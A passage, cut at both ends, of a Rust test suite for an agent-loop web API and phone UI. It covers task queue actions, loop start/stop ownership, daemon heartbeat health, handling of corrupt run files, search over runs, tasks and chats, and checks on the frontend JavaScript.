11163 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
11164
11165 let priority = f
11166 .post(
11167 &format!("/api/queue/{}/priority", task.id),
11168 Some(r#"{"priority":9}"#),
11169 )
11170 .await;
11171 assert_eq!(priority.status, 409, "{}", priority.body);
11172
11173 let edit = f
11174 .post(
11175 &format!("/api/queue/{}/edit", task.id),
11176 Some(r#"{"title":"x","instruction":"y"}"#),
11177 )
11178 .await;
11179 assert_eq!(edit.status, 409, "{}", edit.body);
11180 }
11181
11182 #[tokio::test]
11183 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
11184 let f = Fixture::start().await;
11185 let queue = f.queue();
11186 let mut task = Task::new(
11187 "shipped by hand".to_owned(),
11188 "merged outside the loop".to_owned(),
11189 PathBuf::from("/repo/magi"),
11190 Source::Agent {
11191 run: "20260101-000000-b455".to_owned(),
11192 node: "implement".to_owned(),
11193 },
11194 );
11195 task.runs.push("20260101-000000-b455".to_owned());
11196 task.runs.push("20260101-000000-9af4".to_owned());
11197 queue.put(&mut task).expect("file the task");
11198 let created_at = task.created_at;
11199
11200 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
11201 assert_eq!(done.status, 200, "{}", done.body);
11202 assert_eq!(done.json()["status_str"], "done");
11203
11204 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
11205 assert_eq!(
11206 reloaded.runs,
11207 ["20260101-000000-b455", "20260101-000000-9af4"]
11208 );
11209 assert_eq!(
11210 reloaded.source,
11211 Source::Agent {
11212 run: "20260101-000000-b455".to_owned(),
11213 node: "implement".to_owned(),
11214 }
11215 );
11216 assert_eq!(reloaded.created_at, created_at);
11217 }
11218
11219 #[tokio::test]
11220 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
11221 let f = Fixture::start().await;
11226 let queue = f.queue();
11227 let mut task = Task::new(
11228 "landed while held".to_owned(),
11229 "x".to_owned(),
11230 PathBuf::from("/repo/magi"),
11231 Source::Human,
11232 );
11233 task.hold_manual(Some("waiting on 3ed9".to_owned()));
11234 queue.put(&mut task).expect("file the held task");
11235
11236 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
11237 assert_eq!(done.status, 200, "{}", done.body);
11238 assert_eq!(done.json()["status_str"], "done");
11239 assert!(
11240 done.json()["hold_reason"].is_null(),
11241 "a done task cannot still be waiting on something: {}",
11242 done.body
11243 );
11244 }
11245
11246 #[tokio::test]
11247 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
11248 let f = Fixture::start().await;
11253 let queue = f.queue();
11254 let runs = f.runs();
11255 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
11256 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
11260
11261 let mut task = Task::new(
11262 "landed by hand".to_owned(),
11263 "x".to_owned(),
11264 PathBuf::from("/repo/magi"),
11265 Source::Human,
11266 );
11267 task.runs.push("20260101-000000-doa1".to_owned());
11268 task.runs.push("20260101-000000-doa2".to_owned());
11269 queue.put(&mut task).expect("file the task");
11270
11271 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
11272 assert_eq!(done.status, 200, "{}", done.body);
11273
11274 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
11275 .expect("run still on disk under this fixture's own home");
11276 assert_eq!(
11277 reloaded_run.status,
11278 RunStatus::Superseded,
11279 "closing the task by hand must relabel the earlier blocked attempt exactly \
11280 like the loop's own settle path does"
11281 );
11282 }
11283
11284 #[tokio::test]
11285 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
11286 let f = Fixture::start().await;
11291 let queue = f.queue();
11292 let runs = f.runs();
11293 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
11294 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
11295
11296 let mut task = Task::new(
11297 "closed with nothing actually landed".to_owned(),
11298 "x".to_owned(),
11299 PathBuf::from("/repo/magi"),
11300 Source::Human,
11301 );
11302 task.runs.push("20260101-000000-dob1".to_owned());
11303 task.runs.push("20260101-000000-dob2".to_owned());
11304 queue.put(&mut task).expect("file the task");
11305
11306 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
11307 assert_eq!(done.status, 200, "{}", done.body);
11308
11309 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
11310 .expect("run still on disk under this fixture's own home");
11311 assert_eq!(
11312 reloaded_run.status,
11313 RunStatus::Blocked,
11314 "the last recorded attempt never landed, so the earlier one must not be \
11315 relabelled as superseded by it"
11316 );
11317 }
11318
11319 #[tokio::test]
11320 async fn unknown_ids_are_json_not_found_on_both_stores() {
11321 let f = Fixture::start().await;
11322
11323 let run = f.get("/api/runs/nosuchrun").await;
11324 let task = f.post("/api/queue/nosuchtask/hold", None).await;
11325
11326 assert_eq!(run.status, 404);
11327 assert_eq!(task.status, 404);
11328 assert!(
11329 run.json()["error"]
11330 .as_str()
11331 .is_some_and(|e| e.contains("run")),
11332 "the error names what was not found: {}",
11333 run.body
11334 );
11335 assert!(
11336 task.json()["error"]
11337 .as_str()
11338 .is_some_and(|e| e.contains("task")),
11339 "the error names what was not found: {}",
11340 task.body
11341 );
11342 }
11343
11344 #[tokio::test]
11345 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
11346 let f = Fixture::start().await;
11347
11348 let missing = f.get("/api/health").await.json();
11349 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
11350
11351 write_daemon(
11352 f.home.path(),
11353 Timestamp::now() - jiff::SignedDuration::from_secs(60),
11354 );
11355 let stale = f.get("/api/health").await.json();
11356 assert_eq!(
11357 stale["daemon"]["running"], false,
11358 "a minute without a heartbeat is a dead daemon, not a busy one"
11359 );
11360 assert!(
11361 stale["daemon"]["stale_for_secs"]
11362 .as_i64()
11363 .is_some_and(|s| s >= 55),
11364 "staleness is reported so the UI can say how long: {stale}"
11365 );
11366
11367 write_daemon(f.home.path(), Timestamp::now());
11368 let fresh = f.get("/api/health").await.json();
11369 assert_eq!(fresh["daemon"]["running"], true);
11370 assert_eq!(fresh["daemon"]["idle"], false);
11371 assert_eq!(fresh["daemon"]["pid"], 4242);
11372 assert_eq!(fresh["daemon"]["completed"], 7);
11373 assert_eq!(
11374 fresh["daemon"]["current"][0]["task"],
11375 "20260902-140501-aaaa"
11376 );
11377 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
11378 }
11379
11380 #[tokio::test]
11381 async fn the_loop_is_not_running_until_something_starts_it() {
11382 let f = Fixture::start().await;
11383
11384 let view = f.get("/api/loop").await.json();
11385 assert_eq!(view["running"], false);
11386 assert_eq!(
11387 view["owned"], false,
11388 "nobody owns a loop that does not exist: {view}"
11389 );
11390 assert_eq!(view["stopping"], false);
11391 assert_eq!(view["last_error"], Value::Null);
11392 assert_eq!(view["daemon"]["running"], false);
11393 assert_eq!(
11394 view["repo"], "/repo/magi",
11395 "the repository a start would use, named before it is started"
11396 );
11397 }
11398
11399 #[tokio::test]
11400 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
11401 let f = Fixture::start().await;
11402
11403 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11404 assert_eq!(res.status, 200, "{}", res.body);
11405 let view = res.json();
11406 assert_eq!(view["running"], true);
11407 assert_eq!(
11408 view["owned"], true,
11409 "the loop the UI started is the UI's own to stop: {view}"
11410 );
11411 assert_eq!(
11412 view["merge"],
11413 Value::Null,
11414 "no override was given, so each repository's own config decides"
11415 );
11416
11417 let health = f.get("/api/health").await.json();
11421 assert_eq!(health["loop"]["running"], true, "{health}");
11422 assert_eq!(health["loop"]["owned"], true, "{health}");
11423
11424 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11425 }
11426
11427 #[tokio::test]
11428 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
11429 let f = Fixture::start().await;
11430 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11431 assert_eq!(first.status, 200, "{}", first.body);
11432
11433 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11434 assert_eq!(
11435 again.status, 409,
11436 "two loops on one queue race for the same claims: {}",
11437 again.body
11438 );
11439 assert!(
11440 again.json()["error"]
11441 .as_str()
11442 .is_some_and(|e| e.contains("already running the loop")),
11443 "the refusal has to say why: {}",
11444 again.body
11445 );
11446 assert_eq!(
11447 f.get("/api/loop").await.json()["running"],
11448 true,
11449 "and the loop that was already running is untouched by it"
11450 );
11451
11452 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11453 }
11454
11455 #[tokio::test]
11456 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
11457 let f = Fixture::start().await;
11458 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11459
11460 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11461 assert_eq!(
11462 res.status, 200,
11463 "the answer must not wait for the loop: a run in flight is tens of \
11464 minutes and the operator is holding a phone: {}",
11465 res.body
11466 );
11467
11468 let view = settled(&f, |v| v["running"] == false).await;
11469 assert_eq!(view["owned"], false);
11470 assert_eq!(
11471 view["stopping"], false,
11472 "a loop that has stopped is not still stopping: {view}"
11473 );
11474 assert_eq!(
11475 view["last_error"],
11476 Value::Null,
11477 "a loop that was asked to stop did not fail: {view}"
11478 );
11479
11480 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11483 assert_eq!(twice.status, 200, "{}", twice.body);
11484 }
11485
11486 #[tokio::test]
11487 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
11488 let f = Fixture::start().await;
11489 write_daemon(f.home.path(), Timestamp::now());
11492
11493 let view = f.get("/api/loop").await.json();
11494 assert_eq!(view["running"], false, "not in this process: {view}");
11495 assert_eq!(view["owned"], false, "and not this process's to control");
11496 assert_eq!(
11497 view["daemon"]["running"], true,
11498 "but a loop is alive somewhere, which is what the UI must say"
11499 );
11500 assert_eq!(view["daemon"]["pid"], 4242);
11501
11502 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
11503 let res = f.post("/api/loop", Some(body)).await;
11504 assert_eq!(
11505 res.status, 409,
11506 "neither button may pretend to work on someone else's loop: {}",
11507 res.body
11508 );
11509 assert!(
11510 res.json()["error"]
11511 .as_str()
11512 .is_some_and(|e| e.contains("4242")),
11513 "the refusal has to name the process the operator must go to: {}",
11514 res.body
11515 );
11516 }
11517 assert_eq!(
11518 f.get("/api/loop").await.json()["running"],
11519 false,
11520 "and the refusal started nothing"
11521 );
11522 }
11523
11524 #[tokio::test]
11525 async fn a_stale_status_file_is_not_a_foreign_owner() {
11526 let f = Fixture::start().await;
11527 write_daemon(
11528 f.home.path(),
11529 Timestamp::now() - jiff::SignedDuration::from_secs(60),
11530 );
11531
11532 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11533 assert_eq!(
11534 res.status, 200,
11535 "a daemon killed a minute ago must not lock the loop out of its \
11536 own home for good: {}",
11537 res.body
11538 );
11539 assert_eq!(res.json()["running"], true);
11540
11541 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11542 }
11543
11544 #[tokio::test]
11545 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
11546 let f = Fixture::start().await;
11547 let before = f.get("/api/health").await.json()["loop_rev"]
11548 .as_u64()
11549 .expect("a loop revision");
11550
11551 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11552
11553 let after = f.get("/api/health").await.json()["loop_rev"]
11554 .as_u64()
11555 .expect("a loop revision");
11556 assert!(
11557 after > before,
11558 "the loop is in-process state, so this counter is the only thing \
11559 that tells a second device the first one started it: {before} -> \
11560 {after}"
11561 );
11562
11563 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11564 }
11565
11566 #[tokio::test]
11567 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
11568 let f = Fixture::with_loop(launch_broken).await;
11569
11570 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11571 assert_eq!(
11572 res.status, 200,
11573 "starting it is not the failure: {}",
11574 res.body
11575 );
11576
11577 let view = settled(&f, |v| v["last_error"].is_string()).await;
11578 assert_eq!(
11579 view["running"], false,
11580 "a loop that died must not read as running, or the operator has \
11581 nothing to press: {view}"
11582 );
11583 assert_eq!(view["owned"], false);
11584 assert!(
11585 view["last_error"]
11586 .as_str()
11587 .is_some_and(|e| e.contains("read-only file system")),
11588 "the phone is where a loop that died at 3am is visible: {view}"
11589 );
11590
11591 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11594 assert_eq!(again.status, 200, "{}", again.body);
11595 assert!(
11596 again.json()["last_error"]
11597 .as_str()
11598 .is_none_or(|e| !e.contains("read-only file system")),
11599 "a fresh start does not keep showing why the last one died: {}",
11600 again.body
11601 );
11602 }
11603
11604 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
11616 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
11617 let home = TempDir::new().expect("temp home");
11618 let runs = home.path().join("runs");
11619 std::fs::create_dir_all(&runs).expect("runs dir");
11620 let ui = Ui::new(
11621 Queue::at(home.path().join("queue")),
11622 Questions::at(home.path().join("questions")),
11623 Talks::at(home.path().join("talks")),
11624 runs,
11625 home.path().to_path_buf(),
11626 PathBuf::from("/repo/magi"),
11627 )
11628 .with_worktrees_root(home.path().join("wt"))
11629 .with_launch(launch_knocking_on_the_way_out);
11630 let looping = ui.looping();
11631 let turns = ui.turns();
11632 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
11633 .await
11634 .expect("bind loopback");
11635 let addr = listener.local_addr().expect("local addr");
11636 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
11637 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
11638
11639 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
11640 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
11641
11642 let bound = std::sync::Mutex::new(None);
11657 hand_over(
11658 home.path(),
11659 &looping,
11660 &turns,
11661 &|_: &[String]| Duration::from_secs(5),
11662 served,
11663 |_| {
11664 let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
11665 let attempt = loop {
11666 match std::net::TcpListener::bind(addr) {
11667 Ok(l) => {
11668 drop(l);
11669 break Ok(());
11670 }
11671 Err(e)
11672 if e.kind() == std::io::ErrorKind::AddrInUse
11673 && std::time::Instant::now() < deadline =>
11674 {
11675 std::thread::sleep(std::time::Duration::from_millis(10));
11676 }
11677 Err(e) => break Err(e.to_string()),
11678 }
11679 };
11680 *bound.lock().expect("bound") = Some(attempt);
11681 Ok(1)
11682 },
11683 )
11684 .await
11685 .expect("hand over");
11686
11687 assert_eq!(
11688 *PARK_HEARD.lock().expect("park heard"),
11689 Some(200),
11690 "the deck must answer while the loop is parking"
11691 );
11692 let attempt = bound
11693 .lock()
11694 .expect("bound")
11695 .take()
11696 .expect("the successor was started");
11697 assert!(
11698 attempt.is_ok(),
11699 "and the address must be free by the time it is: {attempt:?}"
11700 );
11701 }
11702
11703 #[tokio::test]
11704 async fn a_newer_daemon_status_file_still_renders() {
11705 let f = Fixture::start().await;
11706 std::fs::write(
11709 f.home.path().join("daemon.json"),
11710 serde_json::json!({
11711 "schema": 2,
11712 "updated_at": Timestamp::now().to_string(),
11713 "idle": true,
11714 "surprise": { "nested": [1, 2, 3] },
11715 })
11716 .to_string(),
11717 )
11718 .expect("write daemon.json");
11719
11720 let health = f.get("/api/health").await;
11721
11722 assert_eq!(health.status, 200);
11723 assert_eq!(health.json()["daemon"]["running"], true);
11724 }
11725
11726 #[tokio::test]
11727 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
11728 let f = Fixture::start().await;
11729 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
11730 let broken = f.runs().join("20260902-140502-bad");
11731 std::fs::create_dir_all(&broken).expect("run dir");
11732 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
11733
11734 let list = f.get("/api/runs").await;
11735 let detail = f.get("/api/runs/20260902-140502-bad").await;
11736
11737 assert_eq!(list.status, 200);
11738 let listed = list.json();
11739 let ids: Vec<&str> = listed
11740 .as_array()
11741 .expect("an array")
11742 .iter()
11743 .map(|r| r["id"].as_str().expect("an id"))
11744 .collect();
11745 assert_eq!(
11746 ids,
11747 vec!["20260902-140501-good"],
11748 "one unreadable run must not cost the operator the whole history"
11749 );
11750 assert_eq!(detail.status, 500);
11751 assert!(
11752 detail.json()["error"]
11753 .as_str()
11754 .is_some_and(|e| e.contains("run.json")),
11755 "the failure names the file to look at: {}",
11756 detail.body
11757 );
11758 let health = f.get("/api/health").await;
11762 assert_eq!(health.json()["runs_unreadable"], 1);
11763 }
11764
11765 #[tokio::test]
11767 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
11768 let f = Fixture::start().await;
11769 let runs = f.runs();
11770 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
11771 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
11772 let path = runs.join("20260902-140502-bbbb").join("run.json");
11775 let mut v: serde_json::Value =
11776 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
11777 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
11778 std::fs::write(&path, v.to_string()).unwrap();
11779 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
11780 std::fs::write(
11781 runs.join("20260902-140503-cccc").join("run.json"),
11782 "{ not json",
11783 )
11784 .unwrap();
11785
11786 let res = f.get("/api/search?scope=runs&q=quokka").await;
11787 assert_eq!(res.status, 200, "{}", res.body);
11788 let v = res.json();
11789 assert_eq!(v["total"], 1, "{v}");
11790 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
11791 assert_eq!(v["hits"][0]["field"], "text");
11792 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
11793 let parts = v["hits"][0]["snippet"].as_array().unwrap();
11794 assert!(
11795 parts
11796 .iter()
11797 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
11798 "{v}"
11799 );
11800 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
11801 assert_eq!(
11802 flat, "The Quokka leaks across threads",
11803 "whitespace is collapsed"
11804 );
11805
11806 let both = f
11808 .get("/api/search?scope=runs&q=MOBILE%20quokka")
11809 .await
11810 .json();
11811 assert_eq!(both["total"], 1, "{both}");
11812 let neither = f
11813 .get("/api/search?scope=runs&q=quokka%20zebra")
11814 .await
11815 .json();
11816 assert_eq!(neither["total"], 0, "{neither}");
11817 let stmt = f
11819 .get("/api/search?scope=runs&q=mobile%20first")
11820 .await
11821 .json();
11822 assert_eq!(stmt["total"], 2, "{stmt}");
11823 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
11824 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
11825 }
11826
11827 #[test]
11828 fn snippet_ignores_terms_longer_than_the_field() {
11829 let terms = ["ok".to_owned(), "elephant".to_owned()];
11830 let parts = snippet_of("ok", &terms);
11831 assert_eq!(
11832 parts,
11833 vec![SnippetPart {
11834 text: "ok".to_owned(),
11835 hit: true
11836 }]
11837 );
11838 }
11839
11840 #[test]
11841 fn snippet_marks_matches_longer_than_the_window() {
11842 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
11843 let hit_len = |parts: &[SnippetPart]| -> usize {
11844 parts
11845 .iter()
11846 .filter(|p| p.hit)
11847 .map(|p| p.text.chars().count())
11848 .sum()
11849 };
11850 let total =
11851 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
11852
11853 let long = "a".repeat(120);
11854 let parts = snippet_of(&long, std::slice::from_ref(&long));
11855 assert!(hit_len(&parts) > 0, "{parts:?}");
11856 assert!(total(&parts) <= cap);
11857
11858 let ja = "あ".repeat(130);
11859 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
11860 assert!(hit_len(&parts) > 0, "{parts:?}");
11861 assert!(total(&parts) <= cap);
11862
11863 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
11865 let term = format!("ab{}", "c".repeat(100));
11866 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
11867 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
11868 assert!(total(&parts) <= cap);
11869
11870 let text = format!("{}z", "a".repeat(119));
11872 let parts = snippet_of(&text, &["a".repeat(120)]);
11873 assert_eq!(hit_len(&parts), 0, "{parts:?}");
11874 }
11875
11876 #[tokio::test]
11877 async fn search_caps_hits_and_snippet_length() {
11878 let f = Fixture::start().await;
11879 let runs = f.runs();
11880 for n in 0..(SEARCH_MAX_HITS + 5) {
11881 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
11882 }
11883 let v = f.get("/api/search?scope=runs&q=web").await.json();
11884 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
11885 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
11886 assert_eq!(v["truncated"], true);
11887 assert!(
11889 v["hits"]
11890 .as_array()
11891 .unwrap()
11892 .iter()
11893 .all(|h| h["run"]["status"] == "merged")
11894 );
11895
11896 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
11897 let parts = snippet_of(&long, &["needle".to_owned()]);
11898 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
11899 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
11900 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
11901 }
11902
11903 #[tokio::test]
11904 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
11905 let f = Fixture::start().await;
11906 let queue = f.queue();
11907 let mut t = Task::new(
11908 "short title".to_owned(),
11909 "line one\nthe hidden Armadillo detail".to_owned(),
11910 PathBuf::from("/repo/magi"),
11911 Source::Agent {
11912 run: "r1".to_owned(),
11913 node: "chat".to_owned(),
11914 },
11915 );
11916 t.last_error = Some("disk full on /tmp".to_owned());
11917 queue.put(&mut t).expect("file the task");
11918
11919 for (q, want) in [
11920 ("armadillo", 1),
11921 ("disk%20FULL", 1),
11922 ("chat", 1),
11923 ("queued", 1),
11924 ("short%20nothing", 0),
11925 ] {
11926 let v = f
11927 .get(&format!("/api/search?scope=tasks&q={q}"))
11928 .await
11929 .json();
11930 assert_eq!(v["total"], want, "{q}: {v}");
11931 }
11932 for bad in [
11933 "/api/search?scope=tasks&q=",
11934 "/api/search?scope=tasks&q=%20",
11935 "/api/search?scope=chats&q=",
11936 "/api/search?scope=chats&q=%20",
11937 "/api/search?scope=nope&q=a",
11938 "/api/search?q=a",
11939 ] {
11940 assert_eq!(f.get(bad).await.status, 400, "{bad}");
11941 }
11942 }
11943
11944 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
11946 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
11947 .expect("seat value");
11948 let turns: Vec<serde_json::Value> = turns
11949 .iter()
11950 .map(|(who, body)| {
11951 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
11952 })
11953 .collect();
11954 let doc = serde_json::json!({
11955 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
11956 "status": status, "turns": turns,
11957 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
11958 "seat": seat,
11959 });
11960 let dir = f.home.path().join("talks");
11961 std::fs::create_dir_all(&dir).expect("talks dir");
11962 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
11963 }
11964
11965 #[tokio::test]
11966 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
11967 let f = Fixture::start().await;
11968 write_talk(
11969 &f,
11970 "20260901-000001-aaaa",
11971 "open",
11972 &[
11973 (
11974 "operator",
11975 "\n Why does the Pangolin cache expire?\nsecond line",
11976 ),
11977 ("agent", "Because the TTL is thirty seconds."),
11978 ],
11979 );
11980 write_talk(
11981 &f,
11982 "20260901-000002-bbbb",
11983 "closed",
11984 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
11985 );
11986 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
11987
11988 let search = |q: &'static str| {
11989 let f = &f;
11990 async move {
11991 f.get(&format!("/api/search?scope=chats&q={q}"))
11992 .await
11993 .json()
11994 }
11995 };
11996
11997 let v = search("PANGOLIN").await;
11998 assert_eq!(v["scope"], "chats");
11999 assert_eq!(v["total"], 1, "{v}");
12000 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
12001 assert_eq!(v["hits"][0]["field"], "title");
12002 assert_eq!(v["unreadable"], 1, "{v}");
12003 let marked: Vec<&str> = v["hits"][0]["snippet"]
12004 .as_array()
12005 .unwrap()
12006 .iter()
12007 .filter(|p| p["hit"] == true)
12008 .map(|p| p["text"].as_str().unwrap())
12009 .collect();
12010 assert_eq!(marked, ["Pangolin"]);
12011
12012 let v = search("zebra").await;
12014 assert_eq!(v["total"], 1, "{v}");
12015 assert_eq!(v["hits"][0]["field"], "agent");
12016 assert_eq!(search("pangolin%20thirty").await["total"], 1);
12018 assert_eq!(search("pangolin%20zebra").await["total"], 0);
12019 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
12021 assert_eq!(search(q).await["total"], 0, "{q}");
12022 }
12023 assert_eq!(search("second").await["hits"][0]["field"], "operator");
12025 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
12027
12028 let v = f.get("/api/search?scope=nope&q=a").await;
12029 assert_eq!(v.status, 400);
12030 assert!(
12031 v.body.contains("scope must be runs, tasks or chats"),
12032 "{}",
12033 v.body
12034 );
12035 }
12036
12037 #[test]
12038 fn a_question_card_links_a_task_id_to_the_task_page() {
12039 let start = APP_JS
12040 .find("function updateAskCard(")
12041 .expect("updateAskCard exists");
12042 let body = &APP_JS[start..];
12043 let body = &body[..body.find("\n}\n").expect("function end")];
12044 assert!(body.contains("question.run_is_task"));
12045 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
12046 assert!(body.contains("`#/runs/${question.run}`"));
12047 assert!(body.contains("\"task\" : \"run\""));
12048 }
12049
12050 #[test]
12051 fn plain_text_message_surfaces_go_through_linkify() {
12052 assert!(APP_JS.contains("function linkify("));
12053 assert!(!APP_JS.contains("class: \"event-msg\", text:"));
12054 assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
12055 assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
12056 assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
12057 assert!(!APP_JS.contains("innerHTML = text"));
12058 }
12059
12060 #[test]
12061 fn stats_bars_share_one_id_keyed_plan() {
12062 let start = APP_JS
12063 .find("function statsBarRows(")
12064 .expect("statsBarRows exists");
12065 let body = &APP_JS[start..];
12066 let body = &body[..body.find("\n}\n").expect("function end")];
12067 assert!(body.contains("statsBarPlan(rows)"));
12068 assert!(body.contains("statsAgentTone(row.agent)"));
12069 assert!(!body.contains("candTone(i)"));
12070 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
12071 for root in ["stats-agents-bars", "stats-reviewers-bars"] {
12072 assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
12073 }
12074 }
12075
12076 #[test]
12077 fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
12078 let start = APP_JS
12079 .find("function renderStatsReviewerScatter(")
12080 .expect("renderStatsReviewerScatter exists");
12081 let body = &APP_JS[start..];
12082 let body = &body[..body.find("\n}\n").expect("function end")];
12083 assert!(body.contains("statsScatterPlan(reviewers)"));
12084 assert!(body.contains("statsAgentTone(d.agent)"));
12085 assert!(APP_JS.contains("function statsScatterPlan("));
12086 assert!(
12087 APP_JS.contains("d.submitted < STATS_LOW_N")
12088 || APP_JS.contains("r.submitted < STATS_LOW_N")
12089 );
12090 assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
12091 assert!(APP_CSS.contains(".precision-scatter"));
12092 }
12093
12094 #[test]
12095 fn advisor_reflection_is_drawn_as_stacked_segments() {
12096 assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
12097 assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
12098 let html = include_str!("../assets/ui/index.html");
12099 assert!(html.contains("Approximate"));
12100 for label in ["reflected strongly", "faint", "no proposal"] {
12101 assert!(html.contains(label));
12102 }
12103 let css = include_str!("../assets/ui/app.css");
12104 for c in ["refl-strong", "refl-faint", "refl-absent"] {
12105 assert!(css.contains(&format!(".{c} {{")));
12106 }
12107 }
12108
12109 #[test]
12110 fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
12111 assert!(APP_JS.contains("function statsDailyPlan("));
12112 assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
12113 assert!(INDEX_HTML.contains("id=\"stats-daily\""));
12114 }
12115
12116 #[test]
12117 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
12118 let start = APP_JS
12119 .find("function scheduleSearch(")
12120 .expect("scheduleSearch exists");
12121 let body = &APP_JS[start..];
12122 let body = &body[..body.find("\n}\n").expect("function end")];
12123 assert!(body.contains("s.seq += 1"));
12124 }
12125
12126 #[tokio::test]
12131 async fn stats_runs_unreadable_matches_health() {
12132 let f = Fixture::start().await;
12133 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
12134 let broken = f.runs().join("20260902-140502-bad");
12135 std::fs::create_dir_all(&broken).expect("run dir");
12136 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
12137
12138 let stats = f.get("/api/stats").await;
